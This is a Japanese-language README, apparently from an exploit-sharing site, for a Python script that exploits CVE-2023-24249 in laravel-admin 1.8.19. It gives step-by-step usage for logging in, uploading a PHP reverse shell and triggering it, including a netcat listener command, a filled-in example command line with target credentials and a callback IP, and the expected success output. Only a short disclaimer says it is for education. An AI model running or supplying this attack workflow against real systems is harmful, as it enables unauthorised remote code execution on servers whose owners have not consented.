CVE-2023-24249 エクスプロイトスクリプト

説明

このリポジトリには、laravel-admin バージョン 1.8.19 で見つかった重大な脆弱性 CVE-2023-24249 のエクスプロイトスクリプトが含まれています。この脆弱性により、任意のファイルアップロードが可能となり、攻撃者は細工した PHP ファイルを介して任意のコードを実行できます。このエクスプロイトは、攻撃者が対象アプリケーションにリバースシェルをアップロードし、それを実行してリモートアクセスを得る方法を示しています。

脆弱性の詳細

CVE-2023-24249 は、laravel-admin v1.8.19 における任意のファイルアップロード脆弱性です。この脆弱性により、攻撃者は任意の PHP ファイルをアップロードおよび実行でき、結果としてリモートコード実行が可能となります。

• 基本スコア: 7.2 HIGH
• ベクトル: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• 弱点列挙: CWE-434 - 危険なタイプのファイルのアップロード制限なし

参考文献

• エクスプロイト - サードパーティアドバイザリ
• Laravel Admin GitHub リポジトリ
• Laravel Admin 公式ウェブサイト

エクスプロイトスクリプト

提供されるエクスプロイトスクリプトは、CVE-2023-24249 を悪用するプロセスを自動化します。以下の手順を実行します：

1. 認証: 提供された認証情報を使用して対象アプリケーションにログインします。
2. リバースシェルのアップロード: 脆弱なファイルアップロード機能を介して PHP リバースシェルスクリプトをアップロードします。
3. リバースシェルの実行: アップロードされたリバースシェルスクリプトに GET リクエストを送信して実行し、攻撃者のマシンへの接続を確立します。

必要条件

• Python 3
• requests ライブラリ
• beautifulsoup4 ライブラリ

必要なライブラリを pip でインストールします：

pip install requests beautifulsoup4

使用方法

1. リポジトリのクローン:

   root@kitploit:~

   git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
   cd CVE-2023-24249-Exploit
   

2. マシン上でリスナーを起動:

   root@kitploit:~

   nc -lvnp <PORT>
   

3. エクスプロイトスクリプトの実行:

   root@kitploit:~

   python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
   

   <TARGET_URL>、<USERNAME>、<PASSWORD>、<YOUR_IP>、<YOUR_PORT> を適切な値に置き換えてください：

   • <TARGET_URL>: 対象アプリケーションの URL。
   • <USERNAME>: 認証用のユーザー名。
   • <PASSWORD>: 認証用のパスワード。
   • <YOUR_IP>: リバースシェル接続を受け取るあなたの IP アドレス。

例

python3 exploit.py -u http://admin.iduzzel.com -U admin -P iduzzel -i 10.10.14.13 -p 1337

スクリプトの出力

エクスプロイトが成功した場合、スクリプトは以下を出力します：

[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at <YOUR_IP>:<YOUR_PORT>

免責事項

このスクリプトは教育目的のみを意図しています。明示的な許可なく任意のシステムに対してこのスクリプトを不正に使用することは違法であり、非倫理的です。作者はこのスクリプトの誤用または損害について一切の責任を負いません。